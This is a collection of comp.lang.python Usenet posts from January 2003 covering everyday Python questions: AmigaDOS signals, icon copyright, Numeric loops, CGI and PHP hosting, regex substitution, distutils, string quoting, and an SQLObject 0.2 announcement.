>         In a way, the Exec message port and signal bits were a close match to 
> DEC VMS mailboxs (with the above "zero-copy" constraint -- what was 
> passed was a list node with the address of the message data) and 
> process local event flags (local, as you could not share a signal bit 
> between tasks -- though there likely was some scheme by which one task 
> could locate/modify the bits of another).

I don't know much about VMS, but I do know that a lot of nice stuff
was borrowed from VMS (and Unix) and used in the creation of AmigaDOS.
( 'Assigns' , anyone?)

>         Of course, even signal bits were only effective if the program 
> explicitly checked them -- a common problem for neophyte coders is that 
> <ctrl-c> had no effect on a process bound loop as the signal check was 
> done as part of the C I/O library.
> 
>         while (1)
>                 x = y;
> 
> could not be broken from the command line as it never tests the signal 
> bits.

You hit the nail on the head.
Thanks for pointing this out again.
Because of this requirement, the SIGNAL solution for aborting a thread,
proposed elsewhere in this discussion, would never work on the Amiga
if the thread doesn't check for the signal explicitly.

Though I now remember the following: it was possible to set a special
function for a designated "interrupt" signal. (there is a field for
this in the Exec task structure). I even used this in
AmigaPython to catch and process the CTRL-C (or "break") signal,
if I'm not mistaken. So it might be possible after all!

Well, it doesn't matter anymore. AmigaPython died at version 2.0,
without thread support. ;-)


Irmen de Jong




From sholden at holdenweb.com  Thu Jan 16 09:24:31 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Thu, 16 Jan 2003 14:24:31 GMT
Subject: Copyright on the Python and Python-console icons?
References: <mailman.1042691249.4564.python-list@python.org> <3E264756.A24BC2D7@alcyone.com>
Message-ID: <zgzV9.5758$YI5.1800@news2.central.cox.net>

"Erik Max Francis" <max at alcyone.com> wrote ...
> Tim Peters wrote:
>
> > Which one?  The definition of public domain is conventional.
>
> Yes, and explicitly waiving copyright (or having it expire) and
> releasing works into the public domain is explicitly allowed for in
> copyright law.
>
Although, of course, we shouldn't overlook the proclivity of Congress to
extend copyright terms arbitrarily so that the families of 1960s pop starts
will be able to live comfortably off a royalty stream that would otherwise
have expired. So you can't necessarily count on expiry: one almost serious
contender for the updated copyright term was "forever, minus one day".
America is just plain barmy sometimes ... but I've bored this group on that
theme enough times already.

> > The rest is
> > from private communication with a Famous IP Lawyer during Python's
> > licensing
> > struggles, and I don't have permission to repeat that here.
>
> Uh huh, convenient.
>

That *seems* like it might be intended to imply that Tim could repeat the
advice if he wanted, but chooses not to. If I'm correct in this
interpretation, I think you're not doing Tim justice. If he could repeat the
advice I'm sure he would, since he's well known for helping those who
apparently cannot help themselves (and if there were fewer of this latter
category then threads like this would not last as long, and there wouldn't
be 200+ posts a day on c.l.py).

Now for something more productive: how many angels can dance on the head of
a pin?

can't-help-myself-either-ly y'rs  - steve
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From dragonscraft at yahoo.it  Fri Jan 10 04:31:43 2003
From: dragonscraft at yahoo.it (Stan)
Date: 10 Jan 2003 01:31:43 -0800
Subject: Numeric array and for loops problem
References: <c5598079.0301060856.4012672b@posting.google.com> <mailman.1041974544.31208.python-list@python.org> <c5598079.0301081200.6ff916a@posting.google.com>
Message-ID: <c5598079.0301100131.df167d1@posting.google.com>

my last post for this topic.
i've found this nice way to to the loops

worldarray = Numeric.zeros((worldx,worldy))
y = 0
for line in lines:
  vals = split(line)
  x = 0
  for val in vals:
    worldarray[x,y] = float(val)
    x +=1
  y += 1
f.close()

hope helpfull for someone ;)



From peter at engcorp.com  Tue Jan 28 19:51:45 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 28 Jan 2003 19:51:45 -0500
Subject: Resource usage
References: <Pine.LNX.4.44.0301281739120.3728-100000@e5-05.ee.ualberta.ca>
Message-ID: <3E3725A1.38E5F0EE@engcorp.com>

Grzegorz Dostatni wrote:
> 
> I am writing a proof of concept script in python that will dynamically
> allocate cpu's and memory on a 16 cpu computer.  The os is AIX 5.2, python
> 2.1.2
> 
> I've looked at the resource module, so I do know how to do those things
> ;-)
> 
> Here is what I am still lacking
> 
> 1) How can I get the cpu load? Can I get cpu load per cpu?
> 
> 2) The amount of free memory?
> 
> A pointer to somewhere within the documentation will be greatly
> appreciated. I scanned throught the library, but was unable to find
> anything that provided these two.

Not provided by stanard Python modules, so far as I know.  How 
would you do these things on that platform *without* using Python?
The answer to that question will generally lead you to the answer
you need for doing it with Python.

-Peter



From jack at performancedrivers.com  Fri Jan 31 11:06:54 2003
From: jack at performancedrivers.com (Jack Diederich)
Date: Fri, 31 Jan 2003 11:06:54 -0500
Subject: A puzzle for Pythonistas
In-Reply-To: <b68f71a7.0301310459.31539d3c@posting.google.com>; from alan_salmoni@yahoo.com on Fri, Jan 31, 2003 at 04:59:17AM -0800
References: <b68f71a7.0301310459.31539d3c@posting.google.com>
Message-ID: <20030131110654.L18606@localhost.localdomain>

On Fri, Jan 31, 2003 at 04:59:17AM -0800, Alan James Salmoni wrote:
> Hi folks,
> 
> This is just a little puzzle to test your brains on - well, I should
> come clean really, so what I need to do is work out a way to get all
> the interactions from 2 or more variables for SalStat a small
> statistics package, but to be honest, I am rather stuck on this bit.
> 
> The problem is defined like this: I have a list of unique integers,
> and the list is of arbitrary length, though 2 elements is the minimum.
> Using each integer only once, what are the possible combinations of 2
> or more elements that can be derived from this list. I know how to
> work out how many combinations there are: ((2**len(list))-1-len(list))
> which is quite simple.

probstat.sourceforge.net has fast permutation/combination classes.
None perfectly match what you are looking for but using them in combo
with the other replies will make the bits go faster.

Partial disclosure, I wrote the module.
It is textbook C algorithms with python wrappers.

-jackdied




From claird at lairds.com  Wed Jan 29 09:30:14 2003
From: claird at lairds.com (Cameron Laird)
Date: Wed, 29 Jan 2003 14:30:14 -0000
Subject: php frontend, python backend
References: <bfac4f24.0301281429.6783ab5a@posting.google.com> <b17jev$kaq$2@news-int.gatech.edu> <mailman.1043825572.3190.python-list@python.org>
Message-ID: <v3fpbmf6d9tk1a@corp.supernews.com>

In article <mailman.1043825572.3190.python-list at python.org>,
Jon Parise  <jon at csh.rit.edu> wrote:
>On Tue, Jan 28, 2003 at 10:55:24PM -0500, grayrest wrote:
>
>> >My webhost accept php but not python, but i want to use python with
>> >mysql for my website. So i want know if its possible to have php as
>> >frontend, and backend logic in python, and how to do that?
>> >I dont want to use too much php code, because it is crap and messy.
>> >Thanks
>> 
>> Looks like you'll have to be using php. Unless, of course, you have 
>> another server that you can run python on and trade remote messages, but 
>> if you do have such a server why not host your app there?
>> 
>> Running Python requires a python interpreter, if you don't have one you 
>> can't run python on that computer.
>
>Or you could embed Python in PHP:
> 
>    http://www.csh.rit.edu/~jon/projects/pip/
			.
			.
			.
That's an interesting and valuable project.  I doubt
it bears directly on the situation of Mr. Alvarez.

Mr. Alvarez, I've rewritten this follow-up several
times already to simplify it to the essentials.  My
best speculation is that you will not need to in-
volve yourself in PHP at all; it's likely that you
can use Python, as you wish.

Take these steps:
1.  Determine the operating system and Web
    server of your hosting provider.
2.  Confirm with your hosting provider that
    it supports CGI.
3.  Experiment with simple CGI to locate
    a Python processor already available on
    your host.  It's likely this will be suc-
    cessful even though the provider says it's
    unsupported.
4.  Check back here.  Even if every one of my
    guesses about your situation is wrong, 
    there still are several ways to use Python
    that might apply.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From ianb at colorstudy.com  Tue Jan 28 04:03:37 2003
From: ianb at colorstudy.com (Ian Bicking)
Date: 28 Jan 2003 03:03:37 -0600
Subject: ANN: SQLObject 0.2
Message-ID: <1043744617.29624.125.camel@lothlorien>

SQLObject is an object-relational mapper (i.e., a database/SQL wrapper)
that supports MySQL and PostgreSQL.  Version 0.2 is the first public
release.

The software can be found at:
  http://colorstudy.com/software/SQLObject

Features:
- Takes advantage of new-style classes (both properties and 
  metaclasses).  Hi-Fi Python!  (Python 2.2 required)
- No external formats or configuration (e.g. XML); your tables are 
  described with the class definition.
- Accessing a column appears the same as accessing any other attribute.
- Accompanying SQLBuilder allows WHERE clauses to be coded (somewhat) 
  naturally in Python without SQL.
- Caching (or no caching, no pressure).
- Fully documented (interface documentation plus source comments).
- Simple (naive?) transaction support for PostgreSQL.
- Conforms to traditional schema; should be adapter to legacy schemas.
- Understands basic relations.
- The string "get" does not appear in any method.
- 100% larger version number than previous version.

License:
  LGPL

Author:
  Me

-- 
Ian Bicking           Colorstudy Web Development
ianb at colorstudy.com   http://www.colorstudy.com
PGP: gpg --keyserver pgp.mit.edu --recv-keys 0x9B9E28B7
4869 N Talman Ave, Chicago, IL 60625 / (773) 275-7241





From raims at dot.com  Mon Jan 27 14:34:20 2003
From: raims at dot.com (Rhymes)
Date: Mon, 27 Jan 2003 20:34:20 +0100
Subject: java introduction for pythonistas
References: <20030127112513.GA671@matijek>
Message-ID: <pan.2003.01.27.19.34.20.424941@dot.com>

Do you know Jython? It allows you to code with your so-loved
Python style and use all the features of both languages: Python and Java.
Take a look!

www.jython.org

-- 
Rhymes
rhymes at NOSPAMmyself.com





From tecargile at hotmail.com  Fri Jan 17 06:38:42 2003
From: tecargile at hotmail.com (Tim Cargile)
Date: 17 Jan 2003 03:38:42 -0800
Subject: avoiding long paths to interpreter
References: <aviaqo$9k6$1@nntp1.jpl.nasa.gov> <x7lm1vupld.fsf@guru.mired.org> <3E1CD949.15CD3DCF@alcyone.com>
Message-ID: <8b67aef5.0301170338.51311740@posting.google.com>

Erik Max Francis <max at alcyone.com> wrote in message news:<3E1CD949.15CD3DCF at alcyone.com>...
> Mike Meyer wrote:
> 
> > The recommended approach is to use:
> > 
> > #!/usr/bin/env python
> > 
> > which will find python no matter where it is if it's in the users
> > path.
> 
> To be pedantic, you've no guarantee that env will be in /usr/bin
> (although granted that it will be the vast majority of the time).  The
> real wart here is that if you have multiple interpreters installed, say,
> in /usr/bin and /usr/local/bin, then /usr/bin/env picks the python
> that's associated with your PATH.  This can lead to bad surprises if the
> script runs in an interactive shell vs., say, a CGI script or a cron
> job, where the PATHs are almost certain to be far more restrictive,
> particularly if you have a highly customized interactive shell.
> 
> Unfortunately, there's truly no magic bullet here when the script itself
> depends on a certain version of Python.

Yes.  I don't believe in magic either - bullets or otherwise.
All I can say is that the use of '#!/usr/bin/env ...' seems
pervasive and predominant - at least in 2.2.2 release modules.

Just for grins, I looked at the 2.2.2 source release situation.
Of the 1480 or so '*.py' files in the 2.2.2 source release, 
I found 201 that used '#!/usr/bin/env python'. One (Lib/reconvert.py)
used '#!/usr/bin/env python1.5'.

There were only 14 that did not use '#!/usr/bin/env'.  These used one of
the following absolute paths:

   #!/usr/bin/python
   #!/usr/local/bin/python
   #!/usr/local/bin/python2.1

Wonder what's up with these?

Tim



From sandeep182 at hotmail.com  Tue Jan  7 02:27:31 2003
From: sandeep182 at hotmail.com (Sandeep Gupta)
Date: Tue, 07 Jan 2003 07:27:31 GMT
Subject: Why does this not work?
References: <2355358.1041918087@dbforums.com>
Message-ID: <DjvS9.63217$an1.2399478@twister.austin.rr.com>

"Tetsuo" <member16943 at dbforums.com> wrote in message
news:2355358.1041918087 at dbforums.com...
> s = 0
> c = 0
> def halfadder(a, b):
>     if a and b in (0, 1):
>         if a and b == 1:
>             s = 1
>             c = 0
>             print s, c
>         elif a and b == 0:
>             s = 0
>             c = 0
>             print s, c
>         else:
>             s = 0
>             c = 1
>             print s, c
>     else:
>         print "Number out of range! Enter 0 or 1, please."
>
> halfadder(1,1)
> halfadder(1,0)
> halfadder(0,1)
> halfadder(0,0)

Your if statements need to be changed to:
if (a in (0,1)) and (b in (0.1))
if (a == 1) and (b == 1):
elif (a == 0) and (b == 0):
You may not need the parens, but I like it for clarity.
The problem is
elif a and b == 0:
gets parsed as
elif (a) and (b == 0):
so the condition is true if a is non-zero and b is zero.





From vecernik at aon.at  Tue Jan  7 07:12:12 2003
From: vecernik at aon.at (Oliver Vecernik)
Date: Tue, 07 Jan 2003 13:12:12 +0100
Subject: iteration over methods
References: <3E1AB7B3.4050404@aon.at> <3E1ABCDA.7000209@corvil.com>
Message-ID: <3E1AC41C.4080106@aon.at>

Padraig Brady schrieb:
> How about:
> 
> class Someclass:
>     def __init__(self):
>         pass
>     def method1(self):
>         pass
>     def method2(self):
>         pass
>     def runallmethods(self):
>         for name, func in self.__class__.__dict__.items():
>             if name[0:6] == 'method':
>                 func(self)

Well, I just see:

__module__
__doc__
__init__

But I didn't tell the whole story. Actually this class is subclassed:

class Subclass(Someclass):
     def __init__(self):
         pass
...

def main():
     ref = Subclass
     ref.runallmethods()
...

All other methods are inherited from 'Someclass'. Sometimes 'Subclass' 
may overload some methods, but in general they should be inherited. Is 
there also a possiblity to iterate over all of them?

Best Regards,
Oliver




From max at alcyone.com  Fri Jan 31 22:41:38 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 31 Jan 2003 19:41:38 -0800
Subject: getting an index in a for loop
References: <a865f0e4.0301310543.7aa8d1a4@posting.google.com>
		 <20030131140413.GC15646@frobozz.local> <mailman.1044049888.32285.python-list@python.org>
Message-ID: <3E3B41F2.8525C738@alcyone.com>

Chad Netzer wrote:

> Or the always-in-style, oldie-but-goodie method (from Python 1.x
> onwards):
> 
> s = 'abcdefg'
> for i in xrange( len( s ) ):
>     print i, s[i]

Note this solution also does not suffer from performance problem if the
sequence is truly large.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ It is much safer to obey than to rule.
\__/ Thomas a Kempis
    Sade Deluxe / http://www.sadedeluxe.com/
 The ultimate Sade encyclopedia.



From peter at engcorp.com  Wed Jan  8 12:27:12 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 08 Jan 2003 12:27:12 -0500
Subject: global variable not seen (bug?)
References: <mailman.1042041138.4444.python-list@python.org> <3E1C59C6.5D8034CD@engcorp.com>
Message-ID: <3E1C5F70.B7B05422@engcorp.com>

Peter Hansen wrote:
> 
> "Globals" are not really *global* in Python, they are visible only
> throughout the module in which they are defined, not throughout the
> entire application.
> 
> You've defined "GLOBAL_VARIABLE" in the module used for the interactive
> interpreter (well, I think that's roughly what happens... it's close
> enough for this discussion) but someFunction() is defined in another
> module which has its _own_ "namespace" (basically, the set of names
> that it recognizes).  Even though you've imported a name from the
> "imported" namespace into your own namespace(*), you don't change
> the fact that someFunction() looks in the namespace of the "imported"
> module to find the "global".

As a followup to my own response: try this to observe the effect
(after retyping exactly what you typed before in the interactive
interpreter):

>>> import imported
>>> imported.GLOBAL_VARIABLE = 'test'
>>> someFunction()
test


Note that even though you've created a local name bound to
"imported.someFunction" in the current namespace, you can
only affect the GLOBAL_VARIABLE that that function expects
to find by directly changing the original module "imported"
the way I did above.

Does that help?

-Peter



From paul at boddie.net  Wed Jan 15 07:22:02 2003
From: paul at boddie.net (Paul Boddie)
Date: 15 Jan 2003 04:22:02 -0800
Subject: Automating Web Interfaces with Python
References: <v28nvk9q8aav9e@corp.supernews.com> <3e246513$0$49105$e4fe514c@news.xs4all.nl>
Message-ID: <23891c90.0301150422.2cf612e7@posting.google.com>

Irmen de Jong <irmen at NOSPAM-REMOVETHIS-xs4all.nl> wrote in message news:<3e246513$0$49105$e4fe514c at news.xs4all.nl>...
> 
> For a list of Python "web (server) modules" or "document templating modules":
>    http://thor.prohosting.com/~pboddie/Python/web_modules.html

Don't use this one - it's ancient and unmaintained.

> or
>    http://www.boddie.org.uk/python/web_frameworks.html

This one is no longer maintained, but it does provide references to
relevant and maintained material.

Paul



From skip at pobox.com  Mon Jan 13 09:39:48 2003
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 13 Jan 2003 08:39:48 -0600
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]
        MinimalPython project)
In-Reply-To: <20030113124645.I1568@prim.han.de>
References: <7x8yxqduco.fsf@ruckus.brouhaha.com>
        <mailman.1042209749.31180.python-list@python.org>
        <FOIT9.121090$Hs2.11398609@kent.svc.tds.net>
        <7xr8bjgz4x.fsf@ruckus.brouhaha.com>
        <mailman.1042326208.15022.python-list@python.org>
        <7x4r8ej1r9.fsf@ruckus.brouhaha.com>
        <mailman.1042393464.20506.python-list@python.org>
        <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net>
        <3E222FC1.40908@tismer.com>
        <20030113124645.I1568@prim.han.de>
Message-ID: <15906.53172.509725.566680@montanaro.dyndns.org>

To those folks scanning about for a new name, you're welcome to use
"rattlesnake", a name I came up with a few years ago for a register-based VM
for Python (that is, "Python with more bite").  There is no "rattlesnake"
project on SF, so that's available.  There's even a defunct mailing list on
Yahoo! Groups you can take over. ;-)

Skip




From kowk at earthlink.net  Mon Jan 13 15:08:18 2003
From: kowk at earthlink.net (Kow K)
Date: Mon, 13 Jan 2003 12:08:18 -0800
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] Minimal Python project) 
In-Reply-To: <20030113185601.1452.28279.Mailman@mail.python.org>
Message-ID: <C1D5DE42-2732-11D7-B694-00050287C0A6@earthlink.net>

John Hunter wrote: Mon Jan 13, 2003  10:23:47 AM US/Pacific

>
>     Jeremy> Pygmy.
>
> Nice name, so nice, it's gone. http://pygmy.sourceforge.net

Damn ... but adding a twist, how about this?

	Pygmon

Also, this is the name of a small, human-friendly monster featured in a 
Japanese TV movies series in 60's. It was a blend of Pygmy + monster, 
but it looks like Python, too. You can see how it looks like in the 
following page:

	http://www.waynebrain.com/ultra/episodes/man/3739_man.html

Cheers,
Kow





From tim.one at comcast.net  Mon Jan 27 14:05:13 2003
From: tim.one at comcast.net (Tim Peters)
Date: Mon, 27 Jan 2003 14:05:13 -0500
Subject: Please Recommend a C compiler for use with Python.
In-Reply-To: <3e357d30$0$49104$e4fe514c@news.xs4all.nl>
Message-ID: <BIEJKCLHCIOIHAGOKOLHCEIIEKAA.tim.one@comcast.net>

[Irmen de Jong]
> Just for my information, does Python compile with VC++ 7
> (the C++ compiler from VStudio .NET) ?

More than one person reported success, but I believe with the Python 2.3
sources (not yet released).  However, there "are problems" if a Python
compiled with VC7 tries to use an extension module compiled with VC6.
Apparently the VC6 and VC7 C runtime libraries were cleverly designed to die
in horrible ways if they ever bump into each other.





From nhodgson at bigpond.net.au  Thu Jan  2 16:30:18 2003
From: nhodgson at bigpond.net.au (Neil Hodgson)
Date: Thu, 02 Jan 2003 21:30:18 GMT
Subject: [scintilla] Re: comments inside blocks
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <av1dsi$pqv$1@reader1.imaginet.fr> <3E14442D.7080501@draigBrady.com> <mailman.1041517263.5169.python-list@python.org> <3E145C80.7080800@draigBrady.com>
Message-ID: <Kb2R9.25866$aV5.69116@news-server.bigpond.net.au>

P?draig:

> Hmm but the editor should be able to distinguish between
> these 2 cases IMHO:
>
> for i in range(10):
>      print i
> #comment nothing to do with for
>
> for i in range(10):
>      print i
> #not normal but valid comment in for
>      print i**2

   The folding of this has changed since the 1.49 release. Try the test
version from
http://www.scintilla.org/scite.zip Source
http://www.scintilla.org/wscite.zip Windows executable
    I'm not completely convinced but it may be what you want.

> Note in the scintilla TODO I noticed:
>
> "Folding for languages that don't have it yet and good folding for
> languages that inherited poor folding from another languages
> folding code."
>
> so I guess it's a known issue.

   That was referring to other languages like Ruby which uses folding code
designed for Python. I consider the old Python folding fairly good.

   Neil





From jepler at unpythonic.net  Wed Jan  8 16:15:02 2003
From: jepler at unpythonic.net (Jeff Epler)
Date: Wed, 8 Jan 2003 15:15:02 -0600
Subject: Small problem when overloading member functions...
In-Reply-To: <ef7a350b.0301081234.69f16267@posting.google.com>
References: <ef7a350b.0301081234.69f16267@posting.google.com>
Message-ID: <20030108211449.GD3925@unpythonic.net>

You don't have to write anything so complicated to see that Python
doesn't work the way you want it to work.  For instance,

    def add_one(x):
        x = x + 1

    x = 1
    add_one(x)
    print x  # prints 1, not 2

If you really want to write 'setFunction', you'll have to do it
something like this:

    def setFunction(self, funcname, tofunc):
        setattr(self, funcname, tofunc)
        # OR
        # self.__dict__[funame] = tofunc

and call it like this:
    a.setFunction('myPrint', self.newPrint)

This is really a very odd thing to do, though...

Jeff




From adalke at mindspring.com  Tue Jan 28 11:26:58 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Tue, 28 Jan 2003 09:26:58 -0700
Subject: sort by last then by first
In-Reply-To: <3E368C10.3050000@Linux.ie>
References: <1964c4d7.0301271648.18dba0b3@posting.google.com> <3E362DDB.2020603@hotmail.com> <sssZ9.94053$0v.2742655@news1.tin.it> <3E365531.3090909@Linux.ie> <b1607o$2iq$1@slb5.atl.mindspring.net> <3E368C10.3050000@Linux.ie>
Message-ID: <b16b0f$as5$1@slb0.atl.mindspring.net>

Padraig at Linux.ie wrote:
> Andrew Dalke wrote:
>> 1) requires dispatch based on type (string vs. function)
> 
> so?

Doing so is not Pythonic.

What should be done in the following?

 >>> class prefix(str):
...   def __call__(self, x, y):
...     if ":" not in x: x = self + ":" + x
...     if ":" not in y: y = self + ":" + y
...     return cmp(x, y)
...
 >>> p = prefix("http")
 >>> values = ["python.org", "slashdot.org", "http:salon.com"]
 >>> values.sort(p)

It's a callable string.  Does that mean it should be translated
as one of your sort strings or as a sort function?

(bad example, but I'm not going to spend the time coming up
with a better case of where one might not know if something
is a string or a callable.)

>> 2) would be just about the only function where the argument
>> parameters are serialized into a string.  (Are there others
>> in the standard library?)
> 
> 
> well I was just suggested that so that the sort docs would
> suffice and also more users would know the syntax straight off.
> You could of course do

I have never used that syntax and did not know that it existed.

> Yes you're probably right that gnu sort has too much baggage.
> How about passing a tuple like: ("1(r)","0(n)")
> This would first reverse sort on second "column" and
> then forward sort on first column treating strings as numeric

Python objects are strongly typed so there it no need to say
"treating strings as numeric".  The values should be numbers in
the first place.  If you want an option to do so, you need to
allow that float and int types have different ranges, eg,

 >>> s = "12345" * 1000
 >>> float(s) == int(s)
__main__:1: RuntimeWarning: tp_compare didn't return -1 or -2 for exception
Traceback (most recent call last):
   File "<stdin>", line 1, in ?
OverflowError: long int too large to convert to float
 >>> int(s)%10
5L
 >>> float(s)
inf
 >>>

(Hmmm, strange RuntimeWarning, submitted as bug.)

This means you'll want to pass in a conversion function name.
And if you start doing that, well, why not just use Python code?

>> 4) More generic to have a parse function which turns such a
>> string into a comparison function, so you have
>>
>> names.sort(GnuSortOpt("--key=1,1 --key=0,0"))
> 
> 
> Hmm, maybe.
> 
>> 5) Doesn't handle the more common case of sorting by
>> attribute name.
> 
> 
> ("attr2(r)", "attr1(n)")

Why not just write this as Python code?

from sortfuncs import *

f = attr("name1").reverse() + attr("name2").as(int) + \
         col(4).as(float).reverse()
x = [ .... ]
x.sort(f)

and for optimization you can also implement

f.sort(x)

which would do the fast decorate, sort, undecorate.

Answer: because it isn't all that useful.

					Andrew
					dalke at dalkescientific.com




From dkt at registriesltd.com.au  Thu Jan 16 18:17:06 2003
From: dkt at registriesltd.com.au (David K. Trudgett)
Date: Fri, 17 Jan 2003 10:17:06 +1100
Subject: Regex replacement operation
In-Reply-To: <13a533e8.0301161328.20d65276@posting.google.com>; from p-abel@t-online.de on Thu, Jan 16, 2003 at 01:28:10PM -0800
References: <20030116153725.C1683@regdp-02.intint.registriesltd.com.au> <mailman.1042698629.26788.python-list@python.org> <13a533e8.0301161328.20d65276@posting.google.com>
Message-ID: <20030117101706.I1683@regdp-02.intint.registriesltd.com.au>

On Thursday 2003-01-16 at 13:28:10 -0800, Peter Abel wrote:

> > > $str =~ s/ \b (\d{1,2}) - (\d{1,2}) - (\d{4}) \b /
> > >     $3 . '-' . sprintf('%02d', $2) . '-' . sprintf('%02d', $1) /gxe;
> > > 
> > > which would make $str contain:
> > > 
> > > "Today is 2003-01-16 or 2003-01-16. New Year was 2003-01-01, reportedly."
> > > 
> > > 
> > > How would I go about doing that in Python?
> > > 
> > > I've looked up the "re" module, but don't see any "substitute"
> > > command, so it seems a different approach may be in order.
> > 
> [snip]
> 
> There is one!

Doh! I swear I'm going blind.


> 
> >>> import re
> >>> s = 'Today is 16-1-2003 or 16-01-2003. New Year was 1-1-2003,
> reportedly.'
> >>> # define a formatting-function
> >>> format=lambda match:'%04d-%02d-%02d'%(int(match.group(3)),int(match.group(1)),int(match.group(2)))
> >>> # and substitute
> >>> re.sub(r'(\d+)-(\d+)-(\d+)',format,s)
> 'Today is 2003-16-01 or 2003-16-01. New Year was 2003-01-01,
> reportedly.'
> >>> 

Nice approach.

Thanks for the help! Now I have to decide which approach to use.
Decisions, decisions!

David Trudgett






From chris.lyon at spritenote.co.uk  Thu Jan 30 09:57:36 2003
From: chris.lyon at spritenote.co.uk (Chris Lyon)
Date: 30 Jan 2003 06:57:36 -0800
Subject: traditional tk inter problem
References: <d232c5e.0301291047.774dbf67@posting.google.com> <mailman.1043868954.26932.python-list@python.org>
Message-ID: <d232c5e.0301300657.1e76da44@posting.google.com>

> 
>   You're installing an alpha distribution.  You're installing it from
> source.  You're installing it onto a Linux distribution.  You're installing
> it onto a Linux distribution for which the primary means of packaging is
> -not- source.

I am aware of the alpha nature of 2.3a and I'm not normally a rushing
fool in these regards.

at the back of this desire is my understanding of some of the 'new'
features of distutils with regard to placing directories and files
into the same directoy that the modules go in. I've seen Guido has
used to my mind a considerable chunk of code to allow him to place non
py code into the directory that idle places it's modules in and I was
hoping to be able to sidetrack this procedure with the facilities
offered in 2.3a according to the documentation.

My final objective is to construct a python application that will
install it's own  cgiHTTPServer and the files it will be serving, I
would like to place the actual server script in a seperate directory
from the cgi scripts and also have some directory structure below the
server root.
Distutils seems to want to place .py modules where ever I want them
(nice) but all it's specified files are relative to the root of the
python installation and have to be specifically identified.

Is the canonical ( !! ) approach to have an install script that runs
all this ? If so I seem to loose a lot of the facilaties I gain from
distutils, specifically a simple de-install. The new documentation of
distutils addresses some ot these issues hense my interest.



From gbrunet at nospamsempersoft.com  Tue Jan 21 17:18:15 2003
From: gbrunet at nospamsempersoft.com (Greg Brunet)
Date: Tue, 21 Jan 2003 16:18:15 -0600
Subject: Python use growing or shrinking
Message-ID: <v2rhpd4d6p8f79@corp.supernews.com>

Just as a point of information, I was reading this article about Java
and the recent ruling that MS must include it in Windows & .NET
(http://www.salon.com/tech/feature/2003/01/21/java/print.html). It
had a link to this site (http://www.tiobe.com/tpci.htm) which ranks
Python as a "B" status language with declining popularity.

There's only a general discussion of their methodology, and I'm not
arguing that one should choose a language solely because of it's
popularity or rate of increase/decrease (and what's up with RPG having
the second fastest growth rate!?!).  Still, it's it provides another
viewpoint on 'the language wars'.

For my own (very unscientific) study, I did a simple search on the
following in the Chicago Tribune's on-line ads:

c#    7
c++    - search engine can't handle it ;)
java    62
PERL    12
Python    2
Visual Basic    45

--
Greg






From peter at engcorp.com  Tue Jan  7 12:06:35 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 07 Jan 2003 12:06:35 -0500
Subject: CGIHTTPServer and POST with Netscape versus IE
References: <3E1A4A4D.50C5DB52@engcorp.com> <bytS9.185$wz1.174516@news.uswest.net>
Message-ID: <3E1B091B.CFC3DAB1@engcorp.com>

Kevin Altis wrote:
> Peter Hansen wrote:
> > We've encountered a little problem in a test program
> > involving the standard module CGIHTTPServer.py and a POST
> > operation from Internet Explorer.
> 
> Well I was going to say this is fixed in the Python 2.3a1 release because I
> thought Steve Holden had committed a fix, but I just checked the
> CGIHTTPServer.py file and it doesn't appear to have changed, so maybe he'll
> chime in here.
> 
> The PythonCard webserver sample contains a fix for the run_cgi() method of
[...]

Kevin, thanks very much.  The Windows-portion of the fix you posted does
the job for us.  The Linux one doesn't seem to be required, as the
standard CGIHTTPServer.py running under Linux does not trouble IE, 
in our case at least.

Also thanks to Changjune Kim for the bug report links.  It looks like
the problem might be a little more subtle than it looks at first glance,
based on the discussions there, but the two-line patch Kevin provided 
works nicely.

Steve H: if we might be able to help a bit verifying a patch, let me know...

-Peter



From gradha at terra.es  Fri Jan 24 14:05:43 2003
From: gradha at terra.es (Grzegorz Adam Hankiewicz)
Date: Fri, 24 Jan 2003 20:05:43 +0100
Subject: Illegal literal or not?
In-Reply-To: <_RfY9.862$d66.98244@newsread1.prod.itd.earthlink.net>
References: <_RfY9.862$d66.98244@newsread1.prod.itd.earthlink.net>
Message-ID: <20030124190543.GD18867@pedos.es>

On Fri, Jan 24, 2003 at 06:46:18PM +0000, LJ & MT Lareau wrote:
> Is it possible to have Python produce the following literal output
> in the interactive mode.
> '"Let's try this!", they said.'
> If so what is the Python statement. I've tried several ways and
> can't seem to produce it.  Thanks for the help.

See this interactive session (lines separated, to be more readable):

[gregorio at pedos.es:0] [~]$ python
Python 2.2.1 (#1, Apr 21 2002, 08:38:44) 
[GCC 2.95.4 20011002 (Debian prerelease)] on linux2
Type "help", "copyright", "credits" or "license" for more information.

>>> print """'"Let's try this!", they said.'"""

'"Let's try this!", they said.'

>>> print "'\"Let's try this!\", they said.'"

'"Let's try this!", they said.'

>>> print '\'"Let\'s try this!", they said.\''

'"Let's try this!", they said.'





From a.clarke11 at ntlworld.com  Thu Jan  2 09:30:26 2003
From: a.clarke11 at ntlworld.com (Tony Clarke)
Date: 2 Jan 2003 06:30:26 -0800
Subject: compare types?
References: <20021231000325.15f925c6.Ken@perfect-image.com> <001301c2b09c$c51bb7b0$21795418@dell1700> <mailman.1041320765.10859.python-list@python.org> <3353cd1e.0301010810.13521eb3@posting.google.com> <mailman.1041443042.553.python-list@python.org> <mailman.1041450723.32228.python-list@python.org>
Message-ID: <3353cd1e.0301020630.a1b8e24@posting.google.com>

Lulu of the Lotus-Eaters <mertz at gnosis.cx> wrote in message news:<mailman.1041450723.32228.python-list at python.org>...
> Gerrit Holl <gerrit at nl.linux.org> wrote previously:
> 
> |
> 
> Of course, it's up to you to decide which answer you are more interested
